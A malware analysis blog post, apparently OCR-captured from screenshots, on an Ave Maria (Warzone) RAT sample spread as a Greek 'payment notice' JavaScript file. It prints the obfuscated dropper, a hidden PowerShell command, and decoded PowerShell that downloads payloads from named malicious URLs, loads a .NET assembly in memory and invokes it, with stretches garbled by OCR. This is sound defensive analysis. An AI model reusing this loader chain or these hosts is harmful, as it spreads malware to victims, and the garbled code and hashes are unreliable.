Malware Analysis - Ave_Maria RAT

May 15, 2025

5 minute read

Sample:

7ebdce51613a9214f61fa3983e9a2d19

Background

Ave Maria, also known as Warzone RAT, is a remote access trojan that allows attackers full
control over an infected system. It is typically spread through phishing emails with malicious
attachments, enabling features like keylogging, credential theft, webcam access, and file
exfiltration.
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https://0xmrmagnezi.github.io/malware%20analysis/AveMaria/

Static Analysis

Database Entry

Intelligence @ 10Cs YARA €D File information Comments

SHA256 hash: b5f2160141db10ada38e3fdbbadee72913b2020aa9f9da48911cd114406759c6

SHA3-384 hash: [ 260a2cf04d24414d98381ad2fb62a373e4bb378bc4bfedb8078984d2c72a321f9basfbedb73e8aedadcb5c657f8ee3 70
SHA1 hash: 0 08fa775abb82cc5d84acd0as2196ea292dabbcsb
MDS5 hash: Tebdce51613a9214f61fa398329a2d19
humanhash: lemon-cat-jchnny-virginia

File name: Ewdomoinon mAnpwpic_79153 22331.JS
Download: [ download sample

Signature @

File size: 1'574'055 bytes

First seen: 2025-05-13 08:16:56 UTC

Last seen: Never

File type: s

Figure 1: Malware Bazaar Entry

The sample was first uploaded from Greece and is most likely targeting organizations in that
region. The file is named “Eidotoinon TAnpwung_79153 22331.JS”, which translates from
Greek to “Payment Notice.”

 0x4822b9 (0xcb) ) /0x2) +parseInt ( 0x4822b9 (0x13F)) /0x3* (parseInt( 0x4822b9 (0:127))/0x4) +-parseInt ( 0x4822b9 (0x104))/0x5+* (parseInt ( 0x4822bS (0xfc))/0xé
}+-parselnt (_0x4822b9(0x10f)) /0= /+parseInt (_0x4822b9 (0x13c))/0x8* (parseInt (_0x4822b9 (0x124)) /0x9) +parseInt (_0x4822b9 (0x<c2)) /Oxa* (parseInt (_0x4822b9 (
0x2d3))/0xb)+-parseInt(_0x4822b9 (0xc2)) /0xc;if (_0x28e287===_0x2d297b)break ;else _0x21e750[ 'push'] (_0x21e750['shift']1()) ;}ecatch(_0x2facdd){_0x21e750[
"push'](_0x21e750['shift']1());}}}(_0x4778,0xda70b)) ;var _0x3bdb6l= 0x2d31; (function(_0x3cf50b, 0x111d17){var _0x550435= 0x5234, 0x478992= 0x2d31,
_Ox6béfel= 0x3cf50b () ;while(!![]) {try{var 0x5a4625=-parseInt( 0x478992 (0xdc))/0xl+-parseInt( 0x478992(0xd%))/0x2% (parseInt ( 0x478992 (0xde))/0x3)+-
parselnt (_0x478992 (0xdd))/0Ox4+parseInt (_0x478992(0xzdd)) /0x5+parseInt (_0x478992 (0xd7)) /0x6* (parseInt (_0x478992(0xd6)) /0x7)+-parseInt (_0x478992 (0xdz))/
Ox8+-parseInt(_0x478992 (0xdf))/0x9% (~-parseInt (_0x478992(0xdb))/0xa) ;if (_0x5a4625=== 0x111dl7)break;else _0x6b6fel[ 0x550435(0x134)] (_0x6b6fell
_0x550435(0xc1)]()) ;}ecatch(_0x5651£2) {_ 0x6b6fel[ 0x550435(0x134)] (_0x6b6fel[ 0x550435(0xcl)]1())7}}}(_0x5déb,0xddl7f)) ;var Biddy= 0x3b4b6l (0x=0) ;
function _0x2d31(_0x410279, 0x385dch) {var _0x5545556= 0x5déb () ;return 0x2d31=function(_0x4746ff, 0x561247){ Ox474éff= 0x4746ff-0xdé;var 0x145568=
_Ox554555[ 0x4746ff] ;return 0x145568;}, 0x2d31(_0x410279, 0x385dch) ;}function _0x5d6b () {var _0x3ebB8ac= 0x5234, 0x27afbi=[_O0x3ebBac(0xzbe), 0x3eb8ac(
0xdd) ,_0x3eb8ac(0x106) ,_0x3eb8ac(0xel), 0x3eb8ac(0xc4), 0x3eb8ac(0xd7),_ 0x3eb8ac(0x137),_ 0x3eb8ac(0xl10e), 0x3ebB8ac(0x105), 0x3ebB8ac(0xe9),_ 0x3eb8ac(
Ozda)];return _0x5déb=function() {return 0x27afb4;}, 0x5d6b();}function 0x2d02(_0x14c430, 0x51b275) {var _0xffa3b= 0x9b92() jreturn _0x2d02=function (
_0x3402ba, 0x4084d5){ 0x3402ba= 0x3402ba-0xc0;var 0x2c928e= Oxffa35[ 0x3402ba];return 0x2c928e;}, 0x2d02( 0x14c430, 0x51b275);}function 0x9b92 () {
var _0x10349d= 0x5234, Oxbeeea=[_0x10349d(0xf7), 0x10349d(0x115),_ 0x10349d(0xcc),_ 0x10349d(0x130),_0x10349d(0x12b), 0x10349d(0x114), 0x10349d(0xef),
_0x10349d(0x112), 0x10349d (0xe3), 0x10349d(0x122), 0x10349d(0x12d), 0x10349d(0x108)];return 0x9b92=function() {return Ox5eeea;}, 0x9b32() ; }function
_0x4778() {vaxr _0x3d7£07=['3454696ZaecdY',"3191750huagae’, ' 632012FXTpHn", '1186208bBzUBV",

"\x27Light sddf f ff f ff fwonwwwwwwwwwwwwwwwwwwha recoveyLightsddff££fff fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsd
dff f ffff fwonwwwwwwwwwwwwwwwwwwharecoveyLight sddf££f ffffwonwwwwwwwwwwwwwwwwwwha recoveyLightsddff££f ff fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwon
WWWWWWWWWWWWwwwwwwwharecoveyLightsddff f fffffwonwwwwwwwwwwwwwwwwwwharecoveyLight sddffff ffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddfEffffffwonwwwwwwwwwwww
wwwwwwharecoveyLightsddf ffffff fwonwwwwwwwwwwwwwwwwwwharecoveylLightsddfff fffffwonwwwwwwwwwwwwwwwwwwharecoveyLight sddffffffffwonwwwwwwwwwwwwwwwwwwhareco
veyLightsddff£E£f £ fwonwwwwwwwwwwwwwwwwwwhare coveyLi ghtsddf £££££f Fwonwwwwwwwwwwwwwwwwwwha recoveyLi ght sddff ££££ £ FwonwwwwwwwwwwwwwwwwwwharecoveyLight sddf
FEFfff fwonwwwwwwwwwwwwwwwwwwharecoveyLightsdd ff££ T f fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddf ff£ £ £ f fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonww
WWWWWWWwwwwwwwwwharecoveyLight sddff £ £ f fffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddfffffff fwonwwwwwwwwwwwwww
wwwwharecoveyLightsddff f fffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecove
yLightsddf f £ £ £ £ £ fwonwwwwwwwwwwwwwwwwiwwharecoveyLight sddf££ £ £ fwonwwwwwwwwwwwwwwwwwwharecoveyLight sddf £ £ £ £ f Fwonwwwwwwwwwwwwwwwwwwha recoveyLight sddf££
FEff fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddf f ff £ f fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddff fffff fwonwwwwwwwwwwwwwwwwwwharecovey\x20Lightsddffffffffwon
WWWWWWWWWWWWwwwwwwharecoveyLightsddff f fffffwonwwwwwwwwwwwwwwwwwwharecoveyLight sddffff ffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddfEffffffwonwwwwwwwwwwww
wwwwwwharecoveyLightsddf fff£ff fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddfff fffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwhareco
veyLightsddfffffff fwonwmmnnmmwwwwwwwwwwhare coveyLightsddf £ £1££f fwonwwmmmwwwwwwwwwwwwharecoveyLightsddf f £ £ £f fwonwwmwwwwwwwrnwwwwwwharecoveyLight sddf
fffffffwon harecoveyLightsdd ffE£ff ffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddf ffffff fwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonww
harecoveylLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddfffffff fwonwwwwwwwwwwwwww
wwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLight sddffffffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddffffffffwonwwwwwwwwwwwwwwwwwwharecove
yLightsddffffffffwon harecoveyLightsddfff fffffwonwwmmmmmmwwwwnwwwwwharecoveyLight sddffff ffffwonwwwwwwwwwwwwwwwwwwharecoveyLightsddfff

1 ‘(function(i(]xlcﬁbfc ,_0x2d297b) {var _0x4822b9= 0x5234,_ 0x21e750= 0xlcébfc() ;while('![]) {try{var _0x28e287=parseInt(_0x4822b9(0x103))/0x1*(parseInt ( &

JavaScript file length: 1,574,055 _lines : 1 Ln:1 Col:1 Pos:1 Windows (CRLF)  UTF-8 NS

Figure 27 First Stage Code
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It is a JavaScript file containing a single line of code with approximately 1.5 million characters
—an obfuscation technique designed to hinder analysis and evade detection. | noticed the
string “Lightsddffffffffwonwwwwwwwwwwwwwwwwwwharecovey” repeated throughout the
script, likely serving as junk code for obfuscation. Based on that assumption, | decided to
remove it to simplify analysis.

_Ox5eeea=[_0x10349d (0 ) ,_0x10349d 115),_0x10349d (0 r_0x10349d 0) ,_0x10349d (0 ,_0x10349d 1) ,_0x10349d (0xef) , 0x10349d(0x
),_0x10349d (0 ;_0x10349d(0x122), 0x10349d (0 1) ,_0x10349d(0x102)];return _0x992=function() {return Oxdeeea;}, 0x9092();}function 0x4778
() {var 0x3d7£07=['3454696Zaecdy¥','3191750huagae’, ' §32012FXTpHn', '1186208bBzUBv", ' \x27\x20-replace\x20\x27\x27, \x27\x27; ', ' 3540spBguQ’ ,
'601398icrDEX','1573784TbgdFq", '11301048KdvFRk",'27653520FVadR"', '4289088EiPQDV", 'push','2395860fEmro", "10065RuoVDZ’ , ' 7InSeDr', '510FwpveX',
'join','979TnHVgp', '4LvjJkv','160pZivgB', '3046992fHOrcL', "replace', '3WBIC1Q"','25247410bUSahT', '2cYBilW",'1047148smkWv]j"', 'shift’,
'12757824XPuiFd', '18200960vXRmN "', ' 9QgpOQH"' , '2605036V1cEkn", ' 7fTZCkp",'11306kLidfk', '9014Vvzktr', '581800sDZMnk', "1017438PBCZbU’, '4dghPUJ’,
'610842DnpCSa’, '4548740TxiaEV', '607390gkBKPX", '2334540xttusE’, ' Invoke-Expression\x20$deedless; ', '904980bypsbh', '68054PTApuk", '19011311dvbvef’
, '3198587WgFpUU"', '29705meBhRg ', '380AVRohd ',
' 3Gdhbmd i dXN0ZXJzID0gJI3RAdC5xamlhdWhzZWgvbW 9] LmFpZG5pcmF2Lmz laWhjbGVubmFoYy8vOnNwdHRoJzskcGl jbGUgPSAnaHROcHM6Ly 9vbmzpbHRyZS5jb2 0udHIVA3ALtY29u
GVudC9naXBoeS5naWYnOyRtaWNyb2xpdGhzIDOgTmV3LU9iamV]jdCBTeXNOZWOuTmVOL1d1YkNsaWVudDskbWljcm9saXRocy5IZWFkZXJzLkFkZCgnVXN1cilBZ2VudCcsJ01lveml sb
IGEVNS4wJyk7JHRpcHVsYSA9ICRtaWNyb2xpdGhzLkRvd25sb2FkRGF0YSgkeGl jbGUpOyRhemNo ZW9sb2dpc3QgPSBbU31zdGVtL1R1eHQURWS jb2RpbmddOjpVVEY4Lkd1dFNOcmluzZy
kdGlwdWxhKTskY31iZXJzcGV1Y2ggPSAnPDxzdWRvVX3Buzz4+JzskZG1lhbmR1ciA9TICc8PHN1ZG9fb2ROP]4nOyRiYWSpZSA9ICRhcmNoZWIsb2dpc3QuSWS5kzZXhPZigkY31izZXJzcGV
[1Y2gpOyRzY29ybmZ1bCASICRhcmNoZW9sb2dpc3QuSWSkZXhPz2igkZG1lhbmR1cik7JGJhbml1ICInZSAWIC1hbmQgJHNjb3JuznVsIClndCAkYmFuaWlU7JGJdhbml1ICs9ICRjeWdlcnNw
[ZWVjaCOMZW5ndGg7JIGNydW1ltaWVyID0gJHNjb3JuzZnVsIC0gJGJIhbml10yRtaWxsaWxpdHJ1lcyA9TICRhcmNoZW9sb2dpc3QuU3Vic3RyaWonKCRiYWSpZSwgJdGNydWltaWVyKTskYX1vb
IQgPSBbU31zdGVtLkNvbnZlcnRdOjpGemItOmFzZTY0U3RyaW5SnKCRtaWxsaWkpdHJI1lcyk7 JHNhd2hvenN1IDOGWINSc3R1bS5SZW2SZWNOaWSuLkFzc2VEt Ymx5XTo6TGIhZCgkYX1vbm
pOYRMYXZ1cm5hIDOgW2RubG1liLklPLkhvbWVdLkd1dE11dGhvZCgnVkFJIJykuSW52b2t1KCRudWxsLCBbb2 JqZWNOW11dIEA0JGdhbmdi dXN0ZXJzLCcnLCenL.CcnLCdSZWATdmNzIyw

JywnJywnJywnJywnQzpcVXN1cnNcUHVibGljIJywnYWRkemVzeyesJ2pzdywnIywnJdywnZGlzcGxheWFibGUnLCcyJywnJykp', '2284236BLrvWi', '121380aNHZwp ',

'7713288VEbVRn",'5256072SkMPgG"', '91pguldY', '1122268nYUrao"’,'19302nNfalM’, '251MkgyrF"', '6CzGgen', '45r1UPhH’, '10fvAItd', '10aFdBJZ",
'1099893gbxMJF" , ' 8YMZMnX "', '25842401QVEAF"' , ' 3MyABVR', '2589588Pxu0WN"', "6FkWojg"', "powershell\x20-nop\x20-w\x20hidden\x20-c\x20\x22"',
'18602721JhYCe",'328450YEhumt ', '480333mgpayX"', '12PHXezu',"'194064RJclYA’', '48ftZVeq’', '13430880yssCY', 'Run’', '8597817mgbfoF','1401610pbYSi",
'723966BDrmfd" , ' 2093UgpARx" , ' 783VQhQUE' , ' 1803821 kmWuV"' , '1071320FqEdEy"' , '3jgsobE" , ' 66avQROG" , ' 9972gBwFoy" , ' 215910dkFWnS ', '450£rIT3T' , "split',
'$deedless\x20=\x20 [System.Text .Encoding] : :UTF8.GetString ([Convert] : : FromBase64String ($fructificative));', 'WScript.Shell','150rfxur’,
'85354KGUGHO", "1670hLhUJY", '3361565GikzWV"', '19732721NDYgp", '239226MBTjpd", '573528JY00np "', '366rjpdwd', "1773ReDhAg", '3828112TmgXJP"' , ' 100dPkqIg’
,"11721087hNgKV', '8329110nlcmOV"’, '11392584KDCuGqg' , '43730xQGCYc", '81VWyqvg', '9ZBJQQQ", '1396628UdceaZ", '$fructificative\x20=\x20\x27",
'156314NCQrNi','5596720thGNkw"’ , '2199463JLJyjE","110118JuoWja’, '10SrQNvj ', '4630NQXmHm" , '224608TtcYOU',"11280726mSyFjL", '150iWNSyn" ,
'27402837SPsTEH', '336120ezpaxy', '16etldif','547080jWVJXV", "' 7yxpBhp',"'167mLOgTz",'325683zjwIWd", '104902CdSjrQ','319KC1tAN','6071016XFnoHa",
'149081PtbzCU"]; 0x4778=function () {return 0x3d7£07;};return 0x4778();}var 0x5d9f71l= 0x2d02; (function( 0x2f3a9, 0x41881c){var 0x50bd49=
 0x5234, 0x313a3f= 0x2d02, OxeOldac= 0x2£3a9b() ;while(!![]) {try{var 0x87e708=-parseInt( 0x313a3f(0xcb))/0xl+-parseInt( 0x313a3f (0x=6)) /!
parseInt( 0x313a3f 4)) /0x3+parseInt( 0x313a3f ) /0:4+parseInt ( 0x313a3f( )) * (-parseInt( 0x313a3f (0xc7))/ +-parseInt (
_0x313a3f (« 2)) /0x7* (-parseInt (_0x313a3f (0x=8))/0xE)+-parseInt (_0x313a3f (0xe5))/0xo* (~parseInt (_0x313a3f(0x=0))/C ;if (_0xB87e708
_0x41881c)break;else 0OxeOldac[_0x50bd49 (0 )1 (_0xe0ldac[_0x50bd49 1)1()) ;}catch(_0x57096e) {_0OxeOldac[_0x50bd49 (0x )1 (_0xe0ldacl
_0x50bd49 (¢ 1)10) ;113 ( 0x9b92,0x1a70c)) ;var ingeminated= 0x5d9f71 (0xeca)+Biddy+ 0x5d9f71(0xe3) ;function _0x5234(_0x3cc448,_ 0x3la37a){var

Nw477220= 0wATT2UN cvatnirn  NvE23q=—Finatianl Nv52340-,  0w22hFo0V L 0v52340o= 05234001 cxrmv  NvBadfhl= 09477020 NvE224G-1 cratnwn  NwBadfhl ¥

Javascript file

length : 16,403 _lines : 1 Ln:1 Col:10359 Pos:10359 Windows (CRLF)  UTF-8 NS

Figure 3: After Removing String

As shown in the figure above, the assumption proved correct—removing the junk string
revealed a Base64-encoded payload. Decoding the payload in CyberChef revealed
PowerShell code, as shown in Figure 4.

Operations Recipe ~ 0T input + O3 ® s
36dhbmd1dXNGZXI 2I1DBgI3RadCSxam1hdkhzZiigy b9 LmF pZGSpcmF 2LnZL akih OnfludHRo1 zsk<61 HI6L
Search. From Base64 ~ 0 8 BYOHEI LIPSO J -
y9vbmZpbHRYZS51b20udHIvA3ALY29udGVudCInaXBoeSSnaliYnOyRt alillyb2xpdGhzID8g TmV3LUY: andCBTeXNOZWAUTMVOL 1d1YkNs ali
—— * ohabet VudDs kbil1] cm9saXRocy STZWFKZXJz LFKZ CgnVXNLc11BZ2VudCes ] 0Lvenl Iyk7IHRpCHVSYSAITCRE alillyb 2xpdGhzLkRvd25
A-7a-76-0+/ = sb2FKRGFBYSgkcG1ibGUPOyRhcmNoZU9sb2dpc3QgPSBbU31zdGYEL1RLeHQURS ] b2RpbmddO3 pUVEYALkd1dFNBcmLuZy gkdGLudhxhKTsk
B Y3117X72CGV1Y2ggPSAnPDxzdNRVX3BuZ24+]2 5k ZG1hbmR1c1 ASTCc BPHNLZGY Fb 2RAP] 4nOyR1YWSpZSAST CRhcmNoZW sb2dpc3QuShSKZ
o Base

From Base64

XhPZigkY3112X1z cGV1Y 2gpOyRzY29ybnZ1bCAII CRhemNoZW9 sb2dp c3QuSWSkZXhPZigkZG1hbmR1c ik736Ihbml1IC1nZSAWIC1hbmQgTH
Remove non-alphabet chars [ strict mode Njb3IuZnVs ICIndCAKYmFuakiU736Ihbm11ICs9ICReW] LenhiZWVjaCSHZWSndGg7IGNy d1tahivyIDOgIHNjb3JuZnVsICOgI6InbmL10yR
tablxs ahxpdH] 1eyASICRhcmNoZW9sb 2dpc3QuU3Vi c 3Ry all5nK CR1YH5pZSwg 16Ny dhi1 talVyKT skYX1vbmQgPSBbU3LzdGVELkNvbnZlenRd
0jpGemItQnFzZTYQU3Ry aSnKCRtakixsakixpdHI 1 cyk7IHNhd2hvenN 1ID@EWLNS c 3R1bS 5SZWZ SZWN@aW9uL kFzc2VYmxSXTo6 TGIRZCekY

Tl XLvbmQpOyRMYXZ1 cmShID@gW2RubG1 1Lk 1P LichvbWVdLkd1dE11dGhy ZCgnVkF Ty kuSWs 2b2t 1KCRudHxsLCBbb2] aZWNOW11dI EAoTGdhbm
d1dXNOZXIzLCenLCenLCenLCdSZHAT dmzIywnJywnJywnJyun JywunQzpcVXNLenN cCURV bG13 T ywnYWRKcmVzcyes 12pzTywnIywnJywnZ61

From Hex 2cGxhelFibGUnLCcyTywndykp

To Hexdump

From Hexdump w124 F1 Q1224 Tr Reu Bytes © LF

UrLpzemit Output 5] IEl m o

Regular expression [$gangbusters - "txt.qjmauhseh/moc.aidnirav.feihclennahc//:sptth’;$picle = ‘https://onfiltre.com.tr/wp-
content/giphy.gif';$microliths = New-Object System.Net.WebClient;$microliths.Headers.Add( User-

Entropy [Agent”, "Mozilla/5.0");$tipula - $microliths.DownloadData($picle);$archeclogist =
[System.Text.Encoding]: :UTF8.GetString($tipula);$cyberspeech = '<<sudo_png>>';$diander =

Fork *<<sudo_odt>>";$banie = $archeologist.IndexOf (Scyberspeech);$scornful =
$archeologist.Index0f($diander);$banie -ge @ -and $scornful -gt $banie;$banie

Magic Scyberspeech. Length; Scrummier = $scornful - $banie;$millilitres - $archeologist.Substring(Sbanie,

Data format
Encryption / Encoding

Public Key

v
R ] STEP M, A t.B ke
Arithmetic / Logic uoBake s =1 @ us Q oms

$crummier);%ayond = [System.Convert]::FromBase64String($millilitres);$sauhorse =
[System.Reflection.Assembly]::Load($ayond);$laverna = [dnlib.I0.Home].GetMethod( VAT ").Invoke($null,
[object[]]

@(5gangbusters, ", ", ", "RegSvcs',*", " ", *", ", C:\Users\Public', ‘address’,"js’, ", ", ‘displayable’,"2",""))|

Tr Rou Bytes € LF

Figure 47 CyberChet Decode

Decoding the payload in CyberChef revealed PowerShell code that performs the following
actions:
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o |nitializes URLs with a custom User-Agent

o Downloads a fake gif and txt file from a remote server

o Extracts hidden Base64 data between specific markers

e Decodes and loads a .NET assembly directly into memory

¢ Invokes a method from the loaded assembly using obfuscated parameters
==,

3 $microliths = New- (bjDCt System Net WebCllent,
4 $microliths.Headers.Add|("C Agent','M
$tipula = $microliths. DownloadData($Plcle) ;

6 $archeologist = [System.Text.Encoding]::UTF8.GetString($tipula) ;

=/5. 07 ]

7 $cyberspeech = '<<sudc "

8 |$diander = '<<s - d

9 $banie = $archeologist.IndexOf ($cyberspeech) ;

1 $scornful = $archeologist.IndexOf ($diander) ;

11 $banie -ge —and $scornful -gt $banie;

12 $banie += $cyberspeech.Length;
13 $crummier = $scornful - $banie;
14 $millilitres = $archeologist.Substring ($banie, $crummier) ;
15 $ayond = [System.Convert]::FromBase64String ($millilitres) ;
16 $sawhorse = [System. Reflection.Assembly Load ($ayond) ;
17 $Laverna = [dmllb I0. Home] ) .Invoke ($null, [object[]] @($gangbusters,'',6'','',’ Lyt

gst,tr,tr, tdispl le',r20,m)

Figure 5 Cleaned Code

The first URL contained a long reversed Base64 string, while the second URL pointed to a
GIF file, as shown in Figures 6 and 7.

3 G % channelehiefvarindia.com/heshuamiq tet Q ¥

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQNIAHK / VPZDG JGAHKEXE FSUGZNU
mxvV5Kkf1j1LQNKDSI1lezvviYT/oCKFKID+ndU42YdpwA22IZ20vxH1elQpnw2TFdcOmBhByqInoKwYP1@8xF ImsMvit2mWGn076uFernXeWoohwGas8EsNatrhjZzt1tVKWMYmRW] 16WI rv2WyG11M8DCAAAAY AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA2E INBYDM2GAAAAAEATAYAAAAYQIMSED+XAFMBGDt XAYMAFDZ X AGMs ADKwQCMgADHWgBMUADEWWAMI ADBAAAAGAQAADAAAEDXAAMO81DuU4QLOWIDr4gk08gDMAWCOogDF 4AXNKFD43A7NseDe3Q3
NwdDb 3g2NQCDDAAAABAQAECWOC UDM7Q508tDe7QHAAAAFAE AKAgDh4AT08hDe4QHOWhDb4gGOKhDY4wF 0YhDV4AFOMhDS4QEOAhDP4gD0BEDMAWCO0gDI4ACOC gDGAQBOQgDD4gAOEEDA3W/NAFDI3A /NS FD63Q+Ng FD33gINUFDO3W
8NIfDx3A8N8eDu3Q7NweDr3g6NkeDo3w5NYeD13A5NMeDi3Q4NAeDF3g3NadDc3w2NodDZ3A2NcdDW3Q1NQdDT3gONEADQ3wzN4cDN3AzNs cDK 3QyNgeDH3gxNUcDE3wwNI cDB3AgN8bD+2QmNgBAAAQNABAHAWAGMKBDWWOEMHBDPW
IDMSATIWcBAAAAHAEAYAAAA/k/Pz/27/g+Ph/D3/c9PS/zv/07Px+2q/Q6PY+TA+QsPX6Dk+AOP5 52X +skPs4TD94ePP3]js9UZPNODCOMAP+zT+8QPPvzT48cNPNzzw8KLPVYTp8KIP /XxTe84GPkxTS86DP3wWDL8ICPHsD+7I/0jvT2
7470vuTq7050QuTd7Y20gt TU7c80ss TH7cx0Loj /6Mu0Urj z68r01qjm60jOnoj I6wh0SoDC 54f0anzp5cXOH1jG4Q00q iDQ4kzN1 FD23MINae zk 28 pNQa jg20nNh Y TELWFNEX251wdN+WTr1caNiz018BNbTzrzw7MoOzR2ozM1ID
/yguMYLjiyMoMaJzUyEkMZIzAxgfMIHDVXIbMmGjDWgNAAEATAEAUABZS/Y7Px+2c/81Pk62XSUYPULlDVIYUP18zL9YCPwzZz28UNPMzZzw8gqoepTV6 Ik060TLEKQON1DUSMUOMEj/4c00bj z84cMOre]y306NQeTg382N1dDN3wxXNXC
TA2UVN1YTG2UQNKXDy1ALNNTT@@IKNISjKOCBNRQTCZ@/MpPD5249M70ZztZE7MN0TozZ I 5MMOT gz IMUNTSZARMEMZMZMYMaMzDy ciIMGEZXxxs IMPDDXwoKMdCDcwgFMRBTEAAAAEDQAABWPE /D8/ E9P++Do/U5Ph9 jU/UxPO8zB+kvPV
7§2+UrPu6Tq+QqPF6jm+4nP553b+kmPg5jW+M1Pg4jE90eP032s 9waP12319cWPT1TTogUPrOTAS IHPFXDZBUFPkWDG78+0qy T37g90wuTF7I80ms TG6kvOzrj 76E£0ArDU6AN0G] 27 50d0GND158YOFm=L 5QA0/ §§84800d jkacFO
7g3L4kCONcT2386NydTX3A1INIADO3E ZNKc 2G3YhNeb] x 1k FNSWj T1kSNCQTI@QONRTZMOWCNVIMD8 zk+MSPimzQSM5N Ky 8mMod TXy g 1MAT jNy's gMEE z+xweMFHj 2xAcMzGDGXEXMGF zWxUVMYEDK x@RMUE TBw4PMpD j4WENMIDDUwWeK
MdCj1wwIMFCfwoFMRBTRWODMIATLwABAAEAQAEAMA8]8/ c+PU/Dw/s5P79Td/kOPu8TI/QgP57D7+EuP@6Do+E0P 25 X+MLPI5jN+ciPZ4DESAaPT2jhowTPbOTF7Mz0Voz96grOXp TNEI i0Rkzv50C0Ij Tt4sK07gjN4kCOcgDDAY
wN/dTW2MmNIZDA1IbNOWDY 1Y TNDQD408INNSDMOKCNFMj1zA6M2MzKz IhMIKDtyQqMIK zdywmMUJ zPxofMzHz6xYeMQHzwXxgbMmGznXEZMHG cxUDMODFnwE JMHCj cwcFAAAAZAEATA8ZH+MCP20jI94AP4Z TQBIWNBT Ts3k6NUeTi3
©3Nydja3I2NHYT22ksNkaT128nNSVD21gaNBzF@UHN zMDwzwSMKOFNZgy MK I T4y grMtKTgy gnM3 I THx4-FMzHjwxgZMOF TaxQUM2E 2 LAAAAWBQAQAWPL+Dh/ s 3ProTU+cmPABZ 79YcP82D090YPr1TZ9@VPN1jRIGAPMZTVBAIPOX R
8AzOrvz37s80rujd7U20gs JE7gg0jrjZ6810WpjR6ch0QozB5cfODNTiSEYOX1jR5cB06TO48102hzT4wwNnezY3wONAYT620tN8ajk2QnNezzR20jNqUz71gbN5QjqokHNFRZUBWENSQzMOIwMePT1zE6MVOTez41MYNDPzgzMxMz
KzUyMNIz6yEuMLLTxy4rM4KTKYMSMLH]6XMeMFHT2xQdMPHjyxMcM3GzjXx4VMZFZUXoUMFF jPxkDMXDTuwYKMHCDcWIGMKAAABAAABAAA/ g+PX /jy/Y7PI+je+wuP@5DR+EhPEOTSOMUPEODIOCBPWYjq8kIPzxja7k/0xvD47w80+u
Dr7Y60fuTm70y0kszE64v0zrTj5¢COyUFc LEWNBVTSIMKMXKS gywnMLIzbykmMk I TXyY1MQJ jRywjMiIDHXY cMAHDtxwaMVGTUXMBMZDz hwE IMSBDUWgCMhAZ EwwAMDAAAAWIAAAPAAAWPS / TS/ ¢9PL /2t /@5PE+TU/kzPc4D++IsP1
6D1+QnPwej89gdPI3Dc9IDP72D180208vz I6wWu0NGzn6UpOpkz35Ua011zU5@R0Qgj54MzNmezU30@NgczE3cgNEbT62QUNPb JU2EpN7ZDV2wiNvYjK2AiNaYDF 28gNKUT6 1MeNdXj11AdNGXjv1IbNSWI 1 1UXNWVZ10VNUVZTLITN
RUDD1AAN5T528sMNFTDVEMLNhS j led—GNRRzHBoxMOPThzw2MMNzMthMGLDGyIuMeLDZywsMF LDwyQrMpKT1y80oMKKjfygnMuIDay81MXIDTyYkM7ITNyoiMkITGyMhMIIjAxcfMxHz6xUeM8G] txwaMkGDmx4WMuAjywsHMhADEAAQ
AoAAAngszrsEZPM1DA8MPPNzTM&Qyo+vDs7s+0muT17szoprsswtquTxeuvmmj 3 SQYOleJSsAOk1D34MZNdcZBZUvNHVj&ngNuUTIlQRNHQ] +OBONATTr‘aIKNBSzdagGNbRjQBgDNbQTDOQwMyPDGZsBMOPTuzA7Mw0D1ZB

P 6™E AL A ol b i) P AP i A v e At bl e A
Figlré 8t URL " ReVersed BasE64 'Sting

< C % onfiltre.com.tr/wp-content/giphy.gif %

Kiryu-chan!
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Starting with the first URL, which was reversed, | used CyberChef to reverse and decode its
Base64 content, as shown

Operations Recipe

base 6 x Reverse

To Base62 By
Character

To Base64.

From Base64

From Base62

Alphabet
From Base64 A-Za-z0-9+/=
Show Base64 offsets
[ strict mode

Favourites

Data format

Encryption / Encoding

Public Key

Arithmetic / Logic

Networking

Language

utils

Date/ Time

Extractors

Compression

Hashing

Code tidy

:

in Figure 8.

~omu

~Qm

~0m

- Remove non-alphabet chars

+ 0=

Input

ABAAAAAAAAQNINAHK/VPZDGIGAHKEX6F SUGZNUMXVVS KicF1§1LQNKDSI1ezvviYT/ oCKFKID+ndU42YdpwA22 17 20vxH1e1Qpnw2 TFdcOmBhBy g InoKwYP188xF
ImsHvit2mkGnO76uFernXeH00huGa s8ESNathirhjZz t1tVKWMYNRII16WTrv2HyG 11HEDC/ N
Qo M4FD; ADBAARABAQ 1DU4QLOWIDr4gKOBEDIAUCO0G

10CUDM7Q508tDe Z08hD P

DF4AXNKFDA3ATNSeD
4gD0BEDMAC00EDI4ACOCEDGAQB NAFDI3A/NsFl
ANAEDF3g3NBADCIU2N0dDZ 3A2NCADH3QINQADT: DN3AZNS DK 3QyNgCDH3gXNUCDE 3N TC
